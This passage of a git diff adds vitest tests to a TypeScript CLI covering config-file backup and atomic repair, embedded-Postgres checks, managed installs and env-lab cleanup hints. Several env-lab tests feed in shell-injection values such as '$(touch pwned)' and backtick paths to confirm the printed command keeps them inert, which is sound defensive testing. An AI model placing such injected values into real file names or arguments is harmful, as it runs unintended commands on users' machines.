"project-2", action: "updated", name: "Operations", reason: "replace strategy" }, { slug: "archive", id: null, action: "skipped", name: "Archive", reason: "skip strategy" }, ], + routines: [ + { slug: "weekly-report", id: "routine-1", action: "created", title: "Weekly report", status: "paused" }, + ], envInputs: [], warnings: ["Review API keys"], }, @@ -522,8 +536,10 @@ describe("renderCompanyImportResult", () => { expect(rendered).toContain("Company"); expect(rendered).toContain("https://paperclip.example/PAP/dashboard"); expect(rendered).toContain("3 agents total (1 created, 1 updated, 1 skipped)"); + expect(rendered).toContain("1 skill total (1 renamed)"); expect(rendered).toContain("3 projects total (1 created, 1 updated, 1 skipped)"); expect(rendered).toContain("Agent results"); + expect(rendered).toContain("Skill results"); expect(rendered).toContain("Project results"); expect(rendered).toContain("Using claude-local adapter"); expect(rendered).toContain("Review API keys"); diff --git a/cli/src/__tests__/config-store.test.ts b/cli/src/__tests__/config-store.test.ts new file mode 100644 index 00000000000..21abb4bf60e --- /dev/null +++ b/cli/src/__tests__/config-store.test.ts @@ -0,0 +1,139 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import { + backupInvalidConfig, + readConfig, + writeConfig, +} from "../config/store.js"; +import { paperclipConfigSchema, type PaperclipConfig } from "../config/schema.js"; + +const roots: string[] = []; + +afterEach(() => { + vi.restoreAllMocks(); + for (const root of roots.splice(0)) { + fs.rmSync(root, { recursive: true, force: true }); + } +}); + +function createConfigPath(): string { + const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-config-store-")); + roots.push(root); + return path.join(root, "config.json"); +} + +function defaultConfig(): PaperclipConfig { + return paperclipConfigSchema.parse({ + $meta: { + version: 1, + updatedAt: "2026-08-06T00:00:00.000Z", + source: "configure", + }, + database: { mode: "embedded-postgres" }, + logging: { mode: "file" }, + server: {}, + }); +} + +describe("config store", () => { + it("preserves top-level and nested extension keys during a known-field update", () => { + const configPath = createConfigPath(); + fs.writeFileSync(configPath, JSON.stringify({ + ...defaultConfig(), + topLevelExtension: { enabled: true }, + server: { + ...defaultConfig().server, + serverExtension: "keep", + }, + storage: { + ...defaultConfig().storage, + localDisk: { + ...defaultConfig().storage.localDisk, + driverExtension: "keep", + }, + }, + }, null, 2)); + + const source = readConfig(configPath)!; + const { topLevelExtension: _topLevelExtension, ...knownConfig } = source; + const { serverExtension: _serverExtension, ...knownServer } = source.server; + const { driverExtension: _driverExtension, ...knownLocalDisk } = source.storage.localDisk; + const update: PaperclipConfig = { + ...knownConfig, + server: { + ...knownServer, + port: 3200, + }, + storage: { + ...source.storage, + localDisk: knownLocalDisk, + }, + }; + + expect(writeConfig(update, configPath)).toBe(true); + expect(JSON.parse(fs.readFileSync(configPath, "utf8"))).toMatchObject({ + topLevelExtension: { enabled: true }, + server: { + port: 3200, + serverExtension: "keep", + }, + storage: { + localDisk: { + driverExtension: "keep", + }, + }, + }); + }); + + it("skips semantic no-op writes and keeps the config mtime stable", () => { + const configPath = createConfigPath(); + const source = defaultConfig(); + fs.writeFileSync(configPath, `${JSON.stringify(source, null, 2)}\n`); + const stableTime = new Date("2020-01-01T00:00:00.000Z"); + fs.utimesSync(configPath, stableTime, stableTime); + + const update = { + ...source, + $meta: { + ...source.$meta, + source: "doctor" as const, + updatedAt: "2026-08-06T01:00:00.000Z", + }, + }; + + expect(writeConfig(update, configPath)).toBe(false); + expect(fs.statSync(configPath).mtimeMs).toBe(stableTime.getTime()); + expect(fs.existsSync(`${configPath}.backup`)).toBe(false); + }); + + it("backs up invalid bytes collision-safely and only replaces them through an atomic repair", () => { + const configPath = createConfigPath(); + const invalidBytes = Buffer.from('{"server": invalid}\n', "utf8"); + fs.writeFileSync(configPath, invalidBytes); + fs.writeFileSync(`${configPath}.invalid-1`, "existing backup"); + + const open = vi.spyOn(fs, "openSync"); + const sync = vi.spyOn(fs, "fsyncSync"); + const backupPath = backupInvalidConfig(configPath); + expect(backupPath).toBe(`${configPath}.invalid-2`); + expect(fs.readFileSync(backupPath)).toEqual(invalidBytes); + expect(open).toHaveBeenCalledWith(backupPath, "r"); + expect(open).toHaveBeenCalledWith(path.dirname(configPath), "r"); + expect(sync).toHaveBeenCalled(); + expect(() => writeConfig(defaultConfig(), configPath)).toThrow(/Refusing to overwrite invalid config/); + expect(fs.readFileSync(configPath)).toEqual(invalidBytes); + + open.mockClear(); + sync.mockClear(); + const rename = vi.spyOn(fs, "renameSync"); + expect(writeConfig(defaultConfig(), configPath, { invalidBackupPath: backupPath })).toBe(true); + expect(rename).toHaveBeenCalledWith(expect.stringMatching(/config\.json\.tmp-\d+-\d+$/), configPath); + expect(open).toHaveBeenCalledWith(path.dirname(configPath), "r"); + expect(open.mock.invocationCallOrder.at(-1)!).toBeGreaterThan(rename.mock.invocationCallOrder.at(-1)!); + expect(sync.mock.invocationCallOrder.at(-1)!).toBeGreaterThan(open.mock.invocationCallOrder.at(-1)!); + expect(readConfig(configPath)).not.toBeNull(); + expect(fs.readdirSync(path.dirname(configPath)).some((entry) => entry.includes(".tmp-"))).toBe(false); + }); +}); diff --git a/cli/src/__tests__/configure-repair.test.ts b/cli/src/__tests__/configure-repair.test.ts new file mode 100644 index 00000000000..8ffe3834695 --- /dev/null +++ b/cli/src/__tests__/configure-repair.test.ts @@ -0,0 +1,83 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import * as prompts from "@clack/prompts"; +import { configure } from "../commands/configure.js"; +import { readConfig } from "../config/store.js"; + +vi.mock("@clack/prompts", () => ({ + intro: vi.fn(), + outro: vi.fn(), + cancel: vi.fn(), + confirm: vi.fn(), + select: vi.fn(), + isCancel: vi.fn(() => false), + log: { + error: vi.fn(), + message: vi.fn(), + step: vi.fn(), + success: vi.fn(), + warn: vi.fn(), + }, +})); + +vi.mock("../prompts/server.js", () => ({ + promptServer: vi.fn(async ({ currentServer, currentAuth }) => ({ + server: currentServer, + auth: currentAuth, + })), +})); + +const ORIGINAL_EXIT_CODE = process.exitCode; +let originalStdinIsTTY: boolean | undefined; +let originalStdoutIsTTY: boolean | undefined; + +beforeEach(() => { + originalStdinIsTTY = process.stdin.isTTY; + originalStdoutIsTTY = process.stdout.isTTY; + Object.defineProperty(process.stdin, "isTTY", { configurable: true, value: true }); + Object.defineProperty(process.stdout, "isTTY", { configurable: true, value: true }); + vi.mocked(prompts.confirm).mockResolvedValue(true); + vi.spyOn(console, "log").mockImplementation(() => undefined); +}); + +afterEach(() => { + Object.defineProperty(process.stdin, "isTTY", { + configurable: true, + value: originalStdinIsTTY, + }); + Object.defineProperty(process.stdout, "isTTY", { + configurable: true, + value: originalStdoutIsTTY, + }); + process.exitCode = ORIGINAL_EXIT_CODE; + vi.restoreAllMocks(); +}); + +describe("configure invalid-config repair", () => { + it("repairs only after confirmation and commits the staged config atomically", async () => { + const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-configure-repair-")); + const configPath = path.join(root, "config.json"); + const invalidBytes = Buffer.from('{"server": invalid}\n', "utf8"); + fs.writeFileSync(configPath, invalidBytes); + const rename = vi.spyOn(fs, "renameSync"); + + try { + await configure({ config: configPath, section: "server" }); + + expect(prompts.confirm).toHaveBeenCalledWith({ + message: `Repair from defaults? The invalid original is backed up at ${configPath}.invalid-1.`, + initialValue: false, + }); + expect(fs.readFileSync(`${configPath}.invalid-1`)).toEqual(invalidBytes); + expect(readConfig(configPath)).not.toBeNull(); + expect(rename).toHaveBeenCalledWith( + expect.stringMatching(/config\.json\.tmp-\d+-\d+$/), + configPath, + ); + } finally { + fs.rmSync(root, { recursive: true, force: true }); + } + }); +}); diff --git a/cli/src/__tests__/configure.test.ts b/cli/src/__tests__/configure.test.ts index 74a37fc8fcc..cbd7016879d 100644 --- a/cli/src/__tests__/configure.test.ts +++ b/cli/src/__tests__/configure.test.ts @@ -96,4 +96,29 @@ describe("configure command", () => { fs.rmSync(root, { recursive: true, force: true }); } }); + + it("backs up invalid config bytes and refuses non-interactive replacement", async () => { + const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-configure-invalid-")); + const configPath = path.join(root, "config.json"); + const invalidBytes = Buffer.from('{"server": invalid}\n', "utf8"); + const stdinDescriptor = Object.getOwnPropertyDescriptor(process.stdin, "isTTY"); + fs.writeFileSync(configPath, invalidBytes); + Object.defineProperty(process.stdin, "isTTY", { configurable: true, value: false }); + + try { + await configure({ config: configPath, section: "server" }); + + expect(process.exitCode).toBe(1); + expect(fs.readFileSync(configPath)).toEqual(invalidBytes); + expect(fs.readFileSync(`${configPath}.invalid-1`)).toEqual(invalidBytes); + expect(fs.existsSync(`${configPath}.backup`)).toBe(false); + } finally { + if (stdinDescriptor) { + Object.defineProperty(process.stdin, "isTTY", stdinDescriptor); + } else { + delete (process.stdin as { isTTY?: boolean }).isTTY; + } + fs.rmSync(root, { recursive: true, force: true }); + } + }); }); diff --git a/cli/src/__tests__/database-check.test.ts b/cli/src/__tests__/database-check.test.ts new file mode 100644 index 00000000000..51c42cf7717 --- /dev/null +++ b/cli/src/__tests__/database-check.test.ts @@ -0,0 +1,79 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import { databaseCheck } from "../checks/database-check.js"; +import type { PaperclipConfig } from "../config/schema.js"; + +const created: string[] = []; +const ORIGINAL_IN_WORKTREE = process.env.PAPERCLIP_IN_WORKTREE; + +function makeBase(): string { + const base = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-dbcheck-")); + created.push(base); + return base; +} + +function embeddedConfig(dataDir: string): PaperclipConfig { + return { + database: { + mode: "embedded-postgres", + embeddedPostgresDataDir: dataDir, + embeddedPostgresPort: 54321, + }, + } as unknown as PaperclipConfig; +} + +afterEach(() => { + vi.restoreAllMocks(); + if (ORIGINAL_IN_WORKTREE === undefined) delete process.env.PAPERCLIP_IN_WORKTREE; + else process.env.PAPERCLIP_IN_WORKTREE = ORIGINAL_IN_WORKTREE; + while (created.length > 0) { + const dir = created.pop(); + if (dir) fs.rmSync(dir, { recursive: true, force: true }); + } +}); + +describe("databaseCheck — embedded postgres temp-dir guard", () => { + it("passes when the data dir is on persistent (non-temp) storage", async () => { + const base = makeBase(); + // Treat a sibling dir as the OS temp root so the persistent dir is outside it. + vi.spyOn(os, "tmpdir").mockReturnValue(path.join(base, "fake-tmp")); + process.env.PAPERCLIP_IN_WORKTREE = "true"; + const persistentDataDir = path.join(base, "persistent", "instances", "default", "db"); + + const result = await databaseCheck(embeddedConfig(persistentDataDir), path.join(base, "config.json")); + + expect(result.status).toBe("pass"); + expect(result.message).toContain("Embedded PostgreSQL configured at"); + }); + + it("warns when a worktree-mode data dir lives inside the OS temp directory", async () => { + const base = makeBase(); + const fakeTmp = path.join(base, "fake-tmp"); + vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp); + process.env.PAPERCLIP_IN_WORKTREE = "true"; + const tmpDataDir = path.join(fakeTmp, "instances", "default", "db"); + + const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json")); + + expect(result.status).toBe("warn"); + expect(result.message).toMatch(/temp directory/i); + expect(result.message).toMatch(/ephemeral/i); + expect(result.repairHint).toContain("PAPERCLIP_HOME"); + // Must warn BEFORE creating anything — don't bootstrap the throwaway temp dir. + expect(fs.existsSync(tmpDataDir)).toBe(false); + }); + + it("does NOT warn for a temp data dir when not in worktree mode (intentional ephemeral/CI use)", async () => { + const base = makeBase(); + const fakeTmp = path.join(base, "fake-tmp"); + vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp); + delete process.env.PAPERCLIP_IN_WORKTREE; + const tmpDataDir = path.join(fakeTmp, "instances", "default", "db"); + + const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json")); + + expect(result.status).toBe("pass"); + }); +}); diff --git a/cli/src/__tests__/env-lab.test.ts b/cli/src/__tests__/env-lab.test.ts index 02d6d7daf18..144311a3511 100644 --- a/cli/src/__tests__/env-lab.test.ts +++ b/cli/src/__tests__/env-lab.test.ts @@ -1,6 +1,13 @@ import path from "node:path"; -import { describe, expect, it } from "vitest"; -import { collectEnvLabDoctorStatus, resolveEnvLabSshStatePath } from "../commands/env-lab.js"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import * as p from "@clack/prompts"; +import { + buildEnvLabCleanupCommand, + collectEnvLabDoctorStatus, + envLabDoctorCommand, + resolveEnvLabCliInvocation, + resolveEnvLabSshStatePath, +} from "../commands/env-lab.js"; describe("env-lab command", () => { it("resolves the default SSH fixture state path under the instance root", () => { @@ -22,3 +29,259 @@ describe("env-lab command", () => { expect(status.ssh.environment).toBeNull(); }); }); + +describe("env-lab cleanup command hint", () => { + const originalCwd = process.cwd(); + + afterEach(() => { + process.chdir(originalCwd); + }); + + // Resolve a source-checkout invocation for a fabricated checkout root. A source + // checkout runs this module from `/src/commands/env-lab.ts`, so the + // resolver reads that layout and returns the tsx runner and source entry. + function sourceInvocation(root: string) { + return resolveEnvLabCliInvocation(path.join(root, "src", "commands", "env-lab.ts")); + } + + // Resolve a bundled-build invocation for a fabricated package root. The bundled + // build runs this module from `/dist/index.js`, so the resolver returns + // that file as the entry with no tsx runner. + function bundledInvocation(root: string) { + return resolveEnvLabCliInvocation(path.join(root, "dist", "index.js")); + } + + // Split a command that uses POSIX single-quoting into its argument tokens. The + // parser reads a single-quoted span verbatim and reads `\'` outside a span as a + // literal single quote. This is the same rule a POSIX shell obeys, so a token + // list proves the shell reads the exact paths and runs no embedded command. + function tokenizePosix(command: string): string[] { + const tokens: string[] = []; + let current = ""; + let started = false; + let inQuotes = false; + for (let index = 0; index < command.length; index += 1) { + const character = command[index]; + if (inQuotes) { + if (character === "'") { + inQuotes = false; + } else { + current += character; + } + } else if (character === "'") { + inQuotes = true; + started = true; + } else if (character === "\\") { + index += 1; + current += command[index]; + started = true; + } else if (character === " ") { + if (started) { + tokens.push(current); + current = ""; + started = false; + } + } else { + current += character; + started = true; + } + } + if (started) { + tokens.push(current); + } + return tokens; + } + + // Return the two path arguments from the `node` command. + function extractPaths(command: string): string[] { + const tokens = tokenizePosix(command); + return tokens.slice(1, 3); + } + + it("resolves both CLI paths to absolute paths", () => { + const command = buildEnvLabCleanupCommand(); + const paths = extractPaths(command); + + expect(paths).toHaveLength(2); + for (const resolved of paths) { + expect(path.isAbsolute(resolved)).toBe(true); + } + expect(command.endsWith("env-lab down")).toBe(true); + }); + + it("points at the checked-out tsx runner and cli source entry", () => { + const [tsxBin, entry] = extractPaths(buildEnvLabCleanupCommand()); + + expect(tsxBin).toContain( + path.join("cli", "node_modules", "tsx", "dist", "cli.mjs"), + ); + expect(entry).toContain(path.join("cli", "src", "index.ts")); + }); + + it("returns the same command from a checkout subdirectory", () => { + const fromRoot = buildEnvLabCleanupCommand(); + + // Simulate a contributor who runs `env-lab doctor` from a subdirectory of + // the checkout. A relative path would change with the working directory, so + // this asserts the command stays constant. + process.chdir(path.dirname(originalCwd)); + const fromParent = buildEnvLabCleanupCommand(); + process.chdir(originalCwd); + + expect(fromParent).toBe(fromRoot); + }); + + it("never restores the unsafe pnpm invocation forms", () => { + const command = buildEnvLabCleanupCommand(); + + // The bare `pnpm paperclipai` script form is unsafe. The `pnpm exec` form + // does not resolve the CLI binary. Keep both out of the hint. + expect(command).not.toContain("pnpm paperclipai"); + expect(command).not.toContain("pnpm exec paperclipai"); + }); + + // A checkout path can hold shell metacharacters. A contributor copies the hint + // and pastes it into a shell. The hint must neutralize each metacharacter, so + // the shell reads the exact path and runs no embedded command. Each case below + // is a checkout root with one dangerous construct. + const dangerousRoots = [ + { label: "a dollar sign", root: "/tmp/env$lab/checkout" }, + { label: "command substitution", root: "/tmp/$(touch pwned)/checkout" }, + { label: "backticks", root: "/tmp/`touch pwned`/checkout" }, + { label: "a double quote", root: '/tmp/env"lab/checkout' }, + { label: "a single quote", root: "/tmp/env'lab/checkout" }, + ]; + + for (const { label, root } of dangerousRoots) { + it(`keeps a checkout path with ${label} inert in the cleanup hint`, () => { + const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation(root) }); + const tokens = tokenizePosix(command); + const tsxBin = path.join(root, "node_modules", "tsx", "dist", "cli.mjs"); + const entry = path.join(root, "src", "index.ts"); + + // The shell reads the exact paths as single argument tokens. It does not + // split the paths or run the embedded construct. + expect(tokens).toEqual(["node", tsxBin, entry, "env-lab", "down"]); + + // The old double-quoted form left `$(...)`, a backtick pair, and `$NAME` + // live. Do not restore it. + expect(command).not.toContain(`"${tsxBin}"`); + expect(command).not.toContain(`"${entry}"`); + }); + } + + it("forwards the inspected instance to the cleanup hint", () => { + const command = buildEnvLabCleanupCommand({ + instance: "fixture-test", + invocation: sourceInvocation("/tmp/checkout"), + }); + const tokens = tokenizePosix(command); + + // The hint ends with `--instance `, so it stops the fixture the doctor + // command diagnosed, not the default instance. + expect(tokens.slice(-2)).toEqual(["--instance", "fixture-test"]); + }); + + it("omits the instance flag when the doctor command uses the default instance", () => { + const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation("/tmp/checkout") }); + + // Without a selected instance, `env-lab down` resolves the same default + // instance the doctor command inspected. Do not add an empty flag. + expect(command).not.toContain("--instance"); + expect(command.endsWith("env-lab down")).toBe(true); + }); + + it("keeps an instance id with shell metacharacters inert", () => { + const command = buildEnvLabCleanupCommand({ + instance: "$(touch pwned)", + invocation: sourceInvocation("/tmp/checkout"), + }); + const tokens = tokenizePosix(command); + + // The shell reads the instance id as one literal token and runs no embedded + // command. + expect(tokens.slice(-2)).toEqual(["--instance", "$(touch pwned)"]); + expect(command).not.toContain('"$(touch pwned)"'); + }); + + it("runs the bundled dist entry directly, without the tsx runner", () => { + const command = buildEnvLabCleanupCommand({ + invocation: bundledInvocation("/opt/pkg"), + }); + const tokens = tokenizePosix(command); + + // The published package ships one `dist/index.js` file and no tsx runner, so + // node runs that file directly. + expect(tokens).toEqual(["node", path.join("/opt/pkg", "dist", "index.js"), "env-lab", "down"]); + expect(command).not.toContain("tsx"); + expect(command).not.toContain(path.join("src", "index.ts")); + }); + + it("keeps a bundled package path with shell metacharacters inert", () => { + const root = "/opt/$(touch pwned)/pkg"; + const command = buildEnvLabCleanupCommand({ invocation: bundledInvocation(root) }); + const tokens = tokenizePosix(command); + const entry = path.join(root, "dist", "index.js"); + + // The shell reads the exact bundled path as one token and runs no embedded + // command. + expect(tokens).toEqual(["node", entry, "env-lab", "down"]); + expect(command).not.toContain(`"${entry}"`); + }); +}); + +describe("env-lab doctor cleanup hint instance", () => { + const originalInstanceId = process.env.PAPERCLIP_INSTANCE_ID; + + afterEach(() => { + if (originalInstanceId === undefined) { + delete process.env.PAPERCLIP_INSTANCE_ID; + } else { + process.env.PAPERCLIP_INSTANCE_ID = originalInstanceId; + } + vi.restoreAllMocks(); + }); + + // Capture the cleanup hint the doctor prints. The doctor reports through + // `p.log`, so the test replaces each channel and reads the captured lines. + function captureDoctorMessages(): string[] { + const messages: string[] = []; + vi.spyOn(p.log, "message").mockImplementation((message?: string | string[]) => { + messages.push(Array.isArray(message) ? message.join("\n") : (message ?? "")); + }); + vi.spyOn(p.log, "success").mockImplementation(() => {}); + vi.spyOn(p.log, "warn").mockImplementation(() => {}); + vi.spyOn(p.log, "info").mockImplementation(() => {}); + return messages; + } + + it("pins the PAPERCLIP_INSTANCE_ID instance when opts.instance is absent", async () => { + // The doctor diagnoses the instance that `PAPERCLIP_INSTANCE_ID` selects. + // The cleanup hint must target that instance, not the default instance. + process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance"; + const messages = captureDoctorMessages(); + + await envLabDoctorCommand({ instance: undefined }); + + const cleanup = messages.find((message) => message.startsWith("Cleanup:")); + expect(cleanup).toBeDefined(); + expect(cleanup).toContain("env-lab down"); + expect(cleanup).toContain("--instance"); + expect(cleanup).toContain("env-selected-instance"); + }); + + it("pins the explicit instance over PAPERCLIP_INSTANCE_ID", async () => { + // An explicit `--instance` flag overrides the environment variable, so the + // hint targets the explicit instance the doctor inspected. + process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance"; + const messages = captureDoctorMessages(); + + await envLabDoctorCommand({ instance: "explicit-instance" }); + + const cleanup = messages.find((message) => message.startsWith("Cleanup:")); + expect(cleanup).toBeDefined(); + expect(cleanup).toContain("--instance"); + expect(cleanup).toContain("explicit-instance"); + expect(cleanup).not.toContain("env-selected-instance"); + }); +}); diff --git a/cli/src/__tests__/helpers/zip.ts b/cli/src/__tests__/helpers/zip.ts index ef79b5beda6..0bfd26e64bd 100644 --- a/cli/src/__tests__/helpers/zip.ts +++ b/cli/src/__tests__/helpers/zip.ts @@ -21,7 +21,7 @@ function crc32(bytes: Uint8Array) { return (crc ^ 0xffffffff) >>> 0; } -export function createStoredZipArchive(files: Record, rootPath: string) { +export function createStoredZipArchive(files: Record, rootPath: string) { const encoder = new TextEncoder(); const localChunks: Uint8Array[] = []; const centralChunks: Uint8Array[] = []; @@ -30,7 +30,7 @@ export function createStoredZipArchive(files: Record, rootPath: for (const [relativePath, content] of Object.entries(files).sort(([left], [right]) => left.localeCompare(right))) { const fileName = encoder.encode(`${rootPath}/${relativePath}`); - const body = encoder.encode(content); + const body = typeof content === "string" ? encoder.encode(content) : content; const checksum = crc32(body); const localHeader = new Uint8Array(30 + fileName.length); diff --git a/cli/src/__tests__/http.test.ts b/cli/src/__tests__/http.test.ts index 0829f06baa8..e0e1e61b747 100644 --- a/cli/src/__tests__/http.test.ts +++ b/cli/src/__tests__/http.test.ts @@ -79,7 +79,7 @@ describe("PaperclipApiClient", () => { /curl http:\/\/localhost:3100\/api\/health/, ); await expect(client.post("/api/companies/import/preview", {})).rejects.toThrow( - /pnpm dev|pnpm paperclipai run/, + /pnpm dev|npx paperclipai run/, ); }); diff --git a/cli/src/__tests__/install-command.test.ts b/cli/src/__tests__/install-command.test.ts new file mode 100644 index 00000000000..620504e348a --- /dev/null +++ b/cli/src/__tests__/install-command.test.ts @@ -0,0 +1,376 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { + type CommandRunner, + installCommand, + installGitPayload, + resolveGitHubRef, + resolveGitInstallRequest, + resolveGitInstallWorkspacePackages, + resolveNpmInstallRequest, + runCommandWithDiagnostics, +} from "../commands/install.js"; +import { uninstallCommand } from "../commands/uninstall.js"; +import { resolvePaperclipInstanceId } from "../config/home.js"; +import { + INSTALL_MANIFEST_VERSION, + flipCurrentAtomic, + initializeInstallStore, + payloadPathFor, + readInstallManifest, + resolveInstallStorePaths, + withInstallStoreLock, + writeInstallManifestAtomic, +} from "../install-store.js"; +import { resolveCliVersion } from "../version.js"; +import { systemdServiceName } from "../services/service-manager.js"; + +const ORIGINAL_ENV = { ...process.env }; + +describe("managed install commands", () => { + let root: string; + + beforeEach(() => { + root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-install-command-")); + process.env = { + ...ORIGINAL_ENV, + HOME: path.join(root, "home"), + PAPERCLIP_HOME: path.join(root, "home", ".paperclip"), + PATH: "/usr/bin:/bin", + SHELL: "/bin/bash", + }; + fs.mkdirSync(process.env.HOME!, { recursive: true }); + vi.spyOn(console, "log").mockImplementation(() => undefined); + }); + + afterEach(() => { + vi.restoreAllMocks(); + process.env = { ...ORIGINAL_ENV }; + fs.rmSync(root, { recursive: true, force: true }); + }); + + it("selects stable, canary, and exact-version npm sources", () => { + expect(resolveNpmInstallRequest({})).toEqual({ spec: "latest", channel: "latest" }); + expect(resolveNpmInstallRequest({ canary: true })).toEqual({ spec: "canary", channel: "canary" }); + expect(resolveNpmInstallRequest({ version: "2026.720.0" })).toEqual({ + spec: "2026.720.0", + channel: "pinned", + }); + expect(() => resolveNpmInstallRequest({ canary: true, version: "1.2.3" })).toThrow(); + expect(() => resolveNpmInstallRequest({ version: "latest" })).toThrow(); + }); + + it("resolves branch, tag, full SHA, and short SHA refs through GitHub", async () => { + const sha = "a".repeat(40); + const runCommand = vi.fn(async (_file: string, _args: string[]) => ({ stdout: JSON.stringify({ sha }), stderr: "" })); + for (const ref of ["master", "v1.2.3", sha, sha.slice(0, 12)]) { + await expect(resolveGitHubRef("paperclipai/paperclip", ref, runCommand)).resolves.toBe(sha); + } + expect(runCommand.mock.calls.map((call) => call[1].at(-1))).toEqual([ + "https://api.github.com/repos/paperclipai/paperclip/commits/master", + "https://api.github.com/repos/paperclipai/paperclip/commits/v1.2.3", + `https://api.github.com/repos/paperclipai/paperclip/commits/${sha}`, + `https://api.github.com/repos/paperclipai/paperclip/commits/${sha.slice(0, 12)}`, + ]); + }); + + it("supports fork overrides and classifies SHA refs as pinned", () => { + expect(resolveGitInstallRequest({ ref: "feature/test", repo: "HenkDz/paperclip" })).toEqual({ repo: "HenkDz/paperclip", ref: "feature/test", pinned: false }); + expect(resolveGitInstallRequest({ ref: "abcdef1" })).toEqual({ repo: "paperclipai/paperclip", ref: "abcdef1", pinned: true }); + expect(() => resolveGitInstallRequest({ repo: "HenkDz/paperclip" })).toThrow("requires --ref"); + }); + + it("requires explicit non-interactive consent before resolving git refs", async () => { + const runCommand = vi.fn(); + + await expect(installCommand({ ref: "master", repo: "HenkDz/paperclip" }, { runCommand })) + .rejects.toThrow("Re-run with --yes"); + + expect(runCommand).not.toHaveBeenCalled(); + }); + + it("reuses a SHA-keyed git payload without downloading or rebuilding", async () => { + const sha = "b".repeat(40); + const paths = resolveInstallStorePaths(); + const payloadPath = payloadPathFor(paths, "git", sha.slice(0, 12)); + const packageRoot = path.join(payloadPath, "node_modules", "paperclipai"); + fs.mkdirSync(path.join(packageRoot, "dist"), { recursive: true }); + fs.writeFileSync(path.join(packageRoot, "package.json"), JSON.stringify({ version: "0.3.1" })); + fs.writeFileSync(path.join(packageRoot, "dist", "index.js"), "#!/usr/bin/env node\n"); + const runCommand = vi.fn(async (_file: string, _args: string[]) => ({ stdout: "0.3.1\n", stderr: "" })); + await expect(installGitPayload("paperclipai/paperclip", sha, runCommand, paths)).resolves.toEqual({ payloadPath, reused: true, version: "0.3.1" }); + expect(runCommand).toHaveBeenCalledOnce(); + expect(runCommand.mock.calls[0]?.[0]).toBe(process.execPath); + }); + + const createGitCheckoutRunCommand = (sha: string) => + vi.fn(async (file: string, args: string[], _options?: Parameters[2]) => { + if (file === "curl" && !args.includes("--output")) return { stdout: JSON.stringify({ sha }), stderr: "" }; + if (file === "curl") { fs.writeFileSync(args[args.indexOf("--output") + 1], "archive"); return { stdout: "", stderr: "" }; } + if (file === "tar") { + const checkout = args[args.indexOf("-C") + 1]; + const packages = [ + { dir: "packages/shared", name: "@paperclipai/shared", packageJson: { name: "@paperclipai/shared", version: "0.3.1" } }, + { dir: "packages/db", name: "@paperclipai/db", packageJson: { name: "@paperclipai/db", version: "0.3.1", dependencies: { "@paperclipai/shared": "workspace:*" }, bundleDependencies: ["embedded-postgres"] } }, + { dir: "server", name: "@paperclipai/server", packageJson: { name: "@paperclipai/server", version: "0.3.1", dependencies: { "@paperclipai/db": "workspace:*" } } }, + ]; + fs.mkdirSync(path.join(checkout, "cli"), { recursive: true }); + fs.writeFileSync(path.join(checkout, "cli", "package.json"), JSON.stringify({ version: "0.3.1" })); + fs.mkdirSync(path.join(checkout, "scripts"), { recursive: true }); + fs.writeFileSync(path.join(checkout, "scripts", "release-package-manifest.json"), JSON.stringify(packages.map(({ dir, name }) => ({ dir, name })))); + for (const workspacePackage of packages) { + fs.mkdirSync(path.join(checkout, workspacePackage.dir), { recursive: true }); + fs.writeFileSync(path.join(checkout, workspacePackage.dir, "package.json"), JSON.stringify(workspacePackage.packageJson)); + } + return { stdout: "", stderr: "" }; + } + if (file === "corepack") { + if (args.includes("pack")) { + const destination = args[args.indexOf("--pack-destination") + 1]; + const packageDir = args[args.indexOf("--dir") + 1]; + const packageName = packageDir === "server" ? "paperclipai-server" : "paperclipai-shared"; + fs.writeFileSync(path.join(destination, `${packageName}-0.3.1.tgz`), "package"); + } + return { stdout: "", stderr: "" }; + } + if (file === "bash") return { stdout: "", stderr: "" }; + if (file === "npm" && args[0] === "pack") { + const packageName = args[1]?.includes("workspace-package-") ? "paperclipai-db" : "paperclipai"; + fs.writeFileSync(path.join(args[args.indexOf("--pack-destination") + 1], `${packageName}-0.3.1.tgz`), "package"); + return { stdout: "", stderr: "" }; + } + if (file === "npm" && args[0] === "install") { const prefix = args[args.indexOf("--prefix") + 1]; const packageRoot = path.join(prefix, "node_modules", "paperclipai"); fs.mkdirSync(path.join(packageRoot, "dist"), { recursive: true }); fs.writeFileSync(path.join(packageRoot, "package.json"), JSON.stringify({ version: "0.3.1" })); fs.writeFileSync(path.join(packageRoot, "dist", "index.js"), "#!/usr/bin/env node\n"); return { stdout: "", stderr: "" }; } + if (file === process.execPath && args[0]?.endsWith("prepare-bundled-package.mjs")) { + fs.mkdirSync(args[2], { recursive: true }); + fs.writeFileSync(path.join(args[2], "package.json"), JSON.stringify({ name: "@paperclipai/db", version: "0.3.1" })); + return { stdout: "", stderr: "" }; + } + if (file === process.execPath) return { stdout: "0.3.1\n", stderr: "" }; + throw new Error(`Unexpected command: ${file} ${args.join(" ")}`); + }); + + it("installs a GitHub branch through codeload and reuses the resolved SHA", async () => { + const sha = "c".repeat(40); + const runCommand = createGitCheckoutRunCommand(sha); + await installCommand({ ref: "master", repo: "HenkDz/paperclip", yes: true }, { runCommand }); + await installCommand({ ref: "master", repo: "HenkDz/paperclip", yes: true }, { runCommand }); + const manifest = readInstallManifest(resolveInstallStorePaths()); + expect(manifest).toMatchObject({ source: "git", repo: "HenkDz/paperclip", ref: "master", sha }); + expect(manifest?.payloadPath).toContain(path.join("git", 